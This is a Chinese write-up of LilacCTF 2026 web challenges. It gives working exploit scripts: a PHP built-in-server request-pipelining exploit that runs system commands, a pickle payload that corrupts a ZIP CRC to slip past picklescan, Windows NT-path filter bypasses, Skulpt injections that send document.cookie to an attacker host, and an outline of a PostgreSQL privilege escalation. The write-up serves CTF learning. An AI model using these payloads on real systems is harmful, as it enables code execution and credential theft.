lilacctf 2026 web wp

只做出两个,还有一个是ai做的😵

keep(solved)

这题感觉出的很巧妙

0x01 源码泄露

上来很明显是php<=7.4.21源码泄露漏洞,直接抄poc发现复现不了,这题目把不带文件后缀的路由都解析到index.php上去了,所以发第二个请求的时候应该带上后缀。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket

host = ""
port = 

request = (
    "GET /index.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /freedom.js HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))
# /s3Cr37_f1L3.php.bak

0x02 解析问题

发现没有s3Cr37_f1L3.php,卡了半天,后来fuzz了半天有了新发现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /s3Cr37_f1L3.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
)

发送这样的请求居然返回200,改成post试试发现出了,最开始以为是走私呢,后来去翻源码找到了原因:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// https://github.com/php/php-src/blob/PHP-7.4.21/sapi/cli/php_cli_server.c#L2228
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) /* {{{ */
{
	int is_static_file  = 0;
	const char *ext = client->request.ext;

	SG(server_context) = client;
	if (client->request.ext_len != 3
	 || (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	 || !client->request.path_translated) {
		is_static_file = 1;
	}

	if (server->router || !is_static_file) {
		if (FAILURE == php_cli_server_request_startup(server, client)) {
			SG(server_context) = NULL;
			php_cli_server_close_connection(server, client);
			destroy_request_info(&SG(request_info));
			return SUCCESS;
		}
	}

	if (server->router) {
		if (!php_cli_server_dispatch_router(server, client)) {
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	}

	if (!is_static_file) {
		if (SUCCESS == php_cli_server_dispatch_script(server, client)
				|| SUCCESS != php_cli_server_send_error_page(server, client, 500)) {
			if (SG(sapi_headers).http_response_code == 304) {
				SG(sapi_headers).send_default_content_type = 0;
			}
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	} else {
		if (server->router) {
			static int (*send_header_func)(sapi_headers_struct *);
			send_header_func = sapi_module.send_headers;
			/* do not generate default content type header */
			SG(sapi_headers).send_default_content_type = 0;
			/* we don't want headers to be sent */
			sapi_module.send_headers = sapi_cli_server_discard_headers;
			php_request_shutdown(0);
			sapi_module.send_headers = send_header_func;
			SG(sapi_headers).send_default_content_type = 1;
			SG(rfc1867_uploaded_files) = NULL;
		}
		if (SUCCESS != php_cli_server_begin_send_static(server, client)) {
			php_cli_server_close_connection(server, client);
		}
		SG(server_context) = NULL;
		return SUCCESS;
	}

	SG(server_context) = NULL;
	destroy_request_info(&SG(request_info));
	return SUCCESS;
}

PHP Built-in Server 使用 基于回调的事件驱动 HTTP 解析器php_http_parser,在 一次php_http_parser_execute()调用中解析多个连续 HTTP 请求,不同请求的回调复用同一个php_cli_server_request结构体,回调函数直接覆盖字段,但没有做完整的状态隔离 / 边界校验。

  • 扩展名长度不是 3||扩展名不是 php(大小写)||path_translated 不存在(通常表示请求路径能正确映射到本地文件路径),命中一个就会被视为静态文件,也就是源码泄露那个漏洞。
  • 反过来,第一个请求提供:path_translated(真实存在的文件路径,如 shell.bak),第二个请求 提供:ext = "php"(从 URL 提取的扩展名)由于文件不存在,不会更新 path_translated,会被视为php脚本执行。也就是说:任意存在的三字符后缀文件(.jpg .png .gif .zip .rar .wav .bak …)可以在按照这种请求序列被PHP解释器当作.php脚本执行。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket

host = ""
port = 
cmd = "admin=system('cat /flag*');"
cmd_len = len(cmd)

request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "POST /1.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {cmd_len}\r\n"
    "Connection: close\r\n"
    "\r\n"
    f"{cmd}\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))

checkin(solved)

给ai大人跪了

/backup.zip有源码,略微调整了一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Python 3.14.2
import re
from collections import UserList

class LockedList(UserList):
    def __setitem__(self, key, value):
        raise Exception("Assignment blocked!")

def sandbox_loop():
    while True:
        try:
            user_input = input(">>> ").strip()
            if not user_input:
                continue
            if user_input.lower() in ("exit", "quit"):
                print("Bye~")
                break

            status = LockedList([False])
            status_id = id(status)

            user_input = user_input.encode('idna').decode('ascii').rstrip('-')

            if re.search(r'[0-9A-Z]', user_input):
                print("FORBIDDEN: No numbers or alphas")
                continue

            if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
                print("FORBIDDEN: Incorrect symbol detected")
                continue

            if re.search(
                r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|'
                r'builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)',
                user_input.casefold()
            ):
                print("FORBIDDEN: Keywords detected")
                continue

            if len(user_input) > 60:
                print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
                continue

            eval(user_input)

            if status[0] and id(status) == status_id:
                try:
                    with open('/flag', 'r') as f:
                        flag = f.read().strip()
                        print(f"SUCCESS! Flag: {flag}")
                except Exception:
                    print("SUCCESS! (flag file not found in this environment)")
            else:
                print(f"FAILURE: status is still {status}")

        except Exception:
            print("Don't be evil~ And I won't show you this error :)")

if __name__ == "__main__":
    sandbox_loop()

ai神力

沙箱逃逸一把梭

Nailong

原来不用训练模型啊

https://github.com/mmaitre314/picklescan/security/advisories/GHSA-mjqp-26hc-grxg

大致意思就是当 ZIP 压缩包里存在 CRC 校验错误的文件时,PickleScan 就停止扫描了。

下载对应的版本

1
pip install picklescan == 0.0.30

写了一个差不多的版本用来验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import subprocess, sys
import torch
import torch.nn as nn
from torchvision import models
import re

def scan_with_picklescan(model_path: str) -> None:
    cmd = ["picklescan", "--path", model_path]
    r = subprocess.run(cmd, capture_output=True, text=True)
    out = (r.stdout or "") + (r.stderr or "")

    low = out.lower()
    if r.returncode != 0:
        raise RuntimeError(f"picklescan 扫描失败(非0退出),拒绝加载:\n{out}")

    m_infected = re.search(r'infected files:\s*(\d+)', low)
    if not m_infected:
        raise RuntimeError(
            f"无法解析 Infected files(输出异常),拒绝加载:\n{out}"
        )
    infected = int(m_infected.group(1))
    if infected != 0:
        raise RuntimeError(
            f"picklescan 检测到感染文件 (Infected files={infected}),拒绝加载:\n{out}"
        )

    m_danger = re.search(r'dangerous globals:\s*(\d+)', low)
    if not m_danger:
        raise RuntimeError(
            f"无法解析 Dangerous globals(输出异常),拒绝加载:\n{out}"
        )
    dangerous = int(m_danger.group(1))
    if dangerous != 0:
        raise RuntimeError(
            f"picklescan 检测到危险全局对象 (Dangerous globals={dangerous}),拒绝加载:\n{out}"
        )

def load_resnet50_nailong(model_path: str):
    scan_with_picklescan(model_path)

    model = models.resnet50(weights=None)
    num_features = model.fc.in_features
    model.fc = nn.Linear(num_features, 2)

    state = torch.load(model_path, map_location="cpu", weights_only=False)
    model.load_state_dict(state)
    model.eval()
    return model

load_resnet50_nailong("./InjectModel2x.pt")

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import torch
import zipfile

class exp(object):
    def __reduce__(self):
        return (exec, ("os.system('calc')", ))

filename = 'InjectModel2.pt'

torch.save(exp(), filename)

with zipfile.ZipFile(filename, 'r') as zf:
    crc = zf.infolist()[0].CRC

with open(filename, 'rb') as f:
    data = f.read()
    evil_data = data.replace(crc.to_bytes(4, 'little'), b'\x00\x00\x00\x00')

save_filename = 'InjectModel2x.pt'

with open(save_filename, 'wb') as f:
    f.write(evil_data)

Path

黑盒没看

题目描述:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PATH MAZE  
Win32 → NT Path Conversion Challenge  

Stage 1: Diagnostic Access  
GET /api/diag/read  
Read diagnostic files from the local system.  

Parameters:  
path - File path to read  

Stage 2: Export Access  
GET /api/export/read  
Read exported backup files. Requires valid access token.  

Parameters:  
path - File path to read  
token - Access token obtained from Stage 1  

System Information  
GET /api/info  
Get basic system information and hints.  

Path Maze CTF Challenge | Good luck! 🚀

访问/api/info

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{
  "data": {
    "challenge": "Path Maze",
    "hints": [
      "Stage 1: Find and read the access token from the system",
      "Stage 2: Use the token to access the backup server",
      "Token location: C:\\token\\access_key.txt",
      "Backup server: 172.20.0.10",
      "Backup server SMB Share name: backup",
      "Flag file: flag.txt"
    ],
    "stages": 2,
    "version": "1.0.0"
  },
  "success": true
}
  • 直接 C:\token\access_key.txt 被过滤,改成 NT 直通前缀绕过 Win32 正常解析: \\?\C:\token\access_key.txt
  • UNC 被过滤,所以不用 \server\share...,改成 NT 设备路径:\\?\GLOBALROOT\Device\Mup\172.20.0.10\backup\flag.txt,利用 GLOBALROOT + Device\Mup 直接访问 SMB 共享路径,绕过 UNC 过滤。感觉这题拷打ai也能出

Playground

黑盒依旧没看

官方文件里没放frontend/src/lib/utils.ts,让ai帮我补全了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import { clsx, type ClassValue } from "clsx"
import { twMerge } from "tailwind-merge"

type OutputHandler = (text: string) => void

const allowedModules = new Set([
  "sys",
  "math",
  "random",
  "time",
  "re",
  "json",
])

function isAllowedStdlibPath(path: string) {
  if (!path.startsWith("src/lib/")) {
    return false
  }

  const rest = path.slice("src/lib/".length)
  const root = rest.split("/")[0]
  const moduleName = root.replace(/\.(py|js)$/, "")
  return allowedModules.has(moduleName)
}

function getSkulpt() {
  if (typeof window === "undefined" || !window.Sk) {
    throw new Error("Skulpt is not loaded")
  }
  return window.Sk
}

export function cn(...inputs: ClassValue[]) {
  return twMerge(clsx(inputs))
}

export async function runCode(code: string, onOutput: OutputHandler) {
  const Sk = getSkulpt()

  Sk.builtins.jseval = undefined

  Sk.configure({
    output: (text: string) => {
      onOutput(text)
    },
    read: (path: string) => {
      if (!Sk.builtinFiles || !Sk.builtinFiles.files) {
        throw new Error("Skulpt stdlib is not available")
      }

      if (!isAllowedStdlibPath(path)) {
        throw new Error(`Import blocked: ${path}`)
      }

      const file = Sk.builtinFiles.files[path]
      if (typeof file !== "string") {
        throw new Error(`Stdlib file missing: ${path}`)
      }

      return file
    },
  })

  try {
    await Sk.misceval.asyncToPromise(() =>
      Sk.importMainWithBody("<stdin>", false, code, true)
    )
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    throw new Error(message)
  }
}

export async function shareWithBot(code: string) {
  try {
    const response = await fetch("/api/share", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ code }),
    })

    const text = await response.text()
    if (!response.ok) {
      alert(text || "Failed to share with bot")
      return
    }

    alert(text)
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    alert(message)
  }
}

大致原理:

  • Skulpt 会把 python 编译成 js,再用 eval 执行,禁用了 jseval,并限制 import 只能读“标准库”,避免直接执行任意 JS。
  • 正常的字符串常量会先变成 Sk.builtin.str(…),不会注入,但 compile(source, filename, mode) 的 filename 参数没有走这套处理,直接进入 JS 模板拼接(例如异常处理里:filename:’…’+ this.filename + ‘…’)
  • 编译后运行时,抛异常会进入 “异常打印/traceback 处理” 的 JS 代码路径,在这个路径里会把 filename 拼进 JS 对象文本,从而执行你注入的 JS。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 官方
filename = "' + fetch(`http://ip/?${btoa(document.cookie) || 'none'}`) + '"
code = compile("raise Exception('trigger')", filename, "exec")
exec(code)

# 星盟
evil = compile(
    "1/0",
    "'+(fetch(\"http://ip/?c=\"+encodeURIComponent(document.cookie)),'')+'",
    "exec"
)
exec(evil)

share with bot即可

safesql

黑盒还是没看

ai写的

1
2
3
4
5
6
7
8
9
这是一个 autovacuum 在 BRIN summarize 路径中未做权限切换,导致索引表达式函数以postgres身份执行,从而实现本地数据库超级用户提权的漏洞(CVE-2022-1552)。

在 PostgreSQL 12.10 中,autovacuum 在完成常规表清理后,会继续遍历 AutoVacuumShmem->av_workItems,并对其中尚未处理的工作项调用 perform_work_item()。在该版本里,实际能够被触发的工作项类型只有 AVW_BRINSummarizeRange,其处理逻辑是直接调用 brin_summarize_range(relation, blockNumber)。这一调用发生在 autovacuum worker 进程中,而 brin_summarize_range 本身并没有进行任何权限上下文切换,导致整个执行过程始终处于 postgres 超级用户的权限环境下,这构成了漏洞产生的前提条件。

BRIN summarize 的核心职责是重新计算索引的摘要信息,在这一过程中,PostgreSQL 会调用定义在 BRIN 索引上的表达式函数。该表达式函数本质上是用户自定义函数,如果在索引创建完成后将其替换为包含任意逻辑的实现(例如调用 attack_func()),那么在 BRIN summarize 过程中,这段用户可控逻辑就会被执行。由于 summarize 是由 autovacuum worker 触发且未切换权限,上述函数调用会直接以 postgres 的身份运行,从而形成权限提升的利用点。

SQL 利用流程的关键在于先满足系统对索引合法性的检查,再在后续阶段注入攻击逻辑。具体而言,先创建一张普通表并基于其创建一个 autosummarize=ON 的 BRIN 索引,索引表达式函数最初被声明为 IMMUTABLE,以通过索引创建时的安全与一致性校验。索引创建完成后,再将该函数替换为包含攻击逻辑的版本。随后通过大量 INSERT 操作触发 BRIN summarize 对应的 autovacuum 工作项,最终在 autovacuum 执行 brin_summarize_range() 时调用被篡改的表达式函数,使 attack_func() 以内置 postgres 权限执行,并在其中完成诸如 ALTER USER test SUPERUSER 的提权操作。

该利用链不依赖于制造 dead tuples 或真正触发一次完整的 vacuum 过程,而仅依赖 BRIN summarize 工作项的生成与执行。由于 BRIN summarize 的触发条件主要与 autosummarize 配置和插入数据量相关,只要能够产生对应的 work item,就足以进入漏洞路径。因此,表的创建、索引的建立以及大量数据插入都可以在同一个事务中完成,无需等待 autovacuum 处理传统意义上的表膨胀或垃圾数据,这也使得整个利用过程更加稳定和直接。

看不懂喵,只会一把梭

参考链接

官方wp

星盟

0xfff